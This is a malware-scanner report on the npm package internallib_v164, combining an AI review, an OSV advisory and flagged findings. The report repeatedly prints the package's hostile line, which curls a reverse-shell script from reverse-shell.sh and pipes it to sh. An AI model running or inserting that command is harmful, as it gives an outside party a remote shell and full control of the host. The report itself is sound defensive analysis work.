registry / internallib_v164 / 6.0.9

internallib_v164@6.0.9

AI Security Review

scanned 4d ago · by lpm-firewall-ai

A runtime-exported command fetches remote content and executes it through a shell. The remote response controls the executed code.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer imports the package and invokes command().

Impact

Remote code execution with the privileges of the consuming process.

Mechanism

curl remote payload piped to sh via child_process.exec

Attack narrative

When a consumer calls the exported command(), index.js invokes Bash to curl a remote endpoint and pipes the response into sh. This directly executes attacker-controlled remote content under the consuming process account.

Rationale

The source contains a concrete, reachable remote download-and-execute chain. Absence of an install hook limits automatic activation but does not remove the malicious runtime payload.

Evidence

index.jspackage.jsoncheck.js

Network endpoints1

reverse-shell.sh/10.0.72.234:4444

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13764

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in internallib_v164 (npm)

Details

index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a reverse-shell script from reverse-shell.sh templated with the hardcoded target 10.0.72.234:4444 and piping it to sh. When a consumer requires the package and invokes the exported command, the installer's host opens an outbound interactive shell to that address, giving the remote party arbitrary code execution and persistent interactive access. The destination is an RFC1918 address, consistent with an internal-network attacker target. ## Source: ghsa-malware (be37e90a2c609cc50d50a3ba6a65a2f2598e098b885f18637206d571ad828118) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports a callable command that runs a shell command.
The command downloads from reverse-shell.sh and pipes its response directly to sh.
The package main entrypoint is index.js, making the payload reachable at runtime.

Evidence against

package.json contains no preinstall, install, or postinstall lifecycle hook.
No credential or local-file harvesting was found in the inspected files.

Behavioral surface

Source

ChildProcessShell

Supply chain

TrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 273 B of source, external domains: reverse-shell.sh

Source & flagged code

8 flagged

index.jsView file

1const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

4console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

High

Shell

Package source references shell execution.

index.jsView on unpkg · L4

•matchType = normalized_sha256 matchedPackage = internallib_v164@1.0.7 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjE2NA:1.0.7 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 664ce3e800c949fb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = internallib_v164@1.0.7 matchedPath = index.js matchedIdentity = npm:aW50ZXJuYWxsaWJfdjE2NA:1.0.7 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

1const { exec } = require('child_process'); exports.command = function() { console.log("svn"); exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"');

High

Ai Review Evidence

index.js exports a callable command that runs a shell command.

index.jsView on unpkg · L1

package.jsonView file

2"name": "internallib_v164", "version": "6.0.9", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1"

High

Ai Review Evidence

The package main entrypoint is index.js, making the payload reachable at runtime.

package.jsonView on unpkg · L2

Source & flagged code

8 flagged · loading source

index.jsView file

1const { exec } = require('child_process'); L2: ... L4: console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

4console.log("svn"); L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"'); L6: return "Successo!";

Findings

2 Critical6 High2 Low

CriticalDownload Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

HighShellindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

LowScripts Present

LowUrl Strings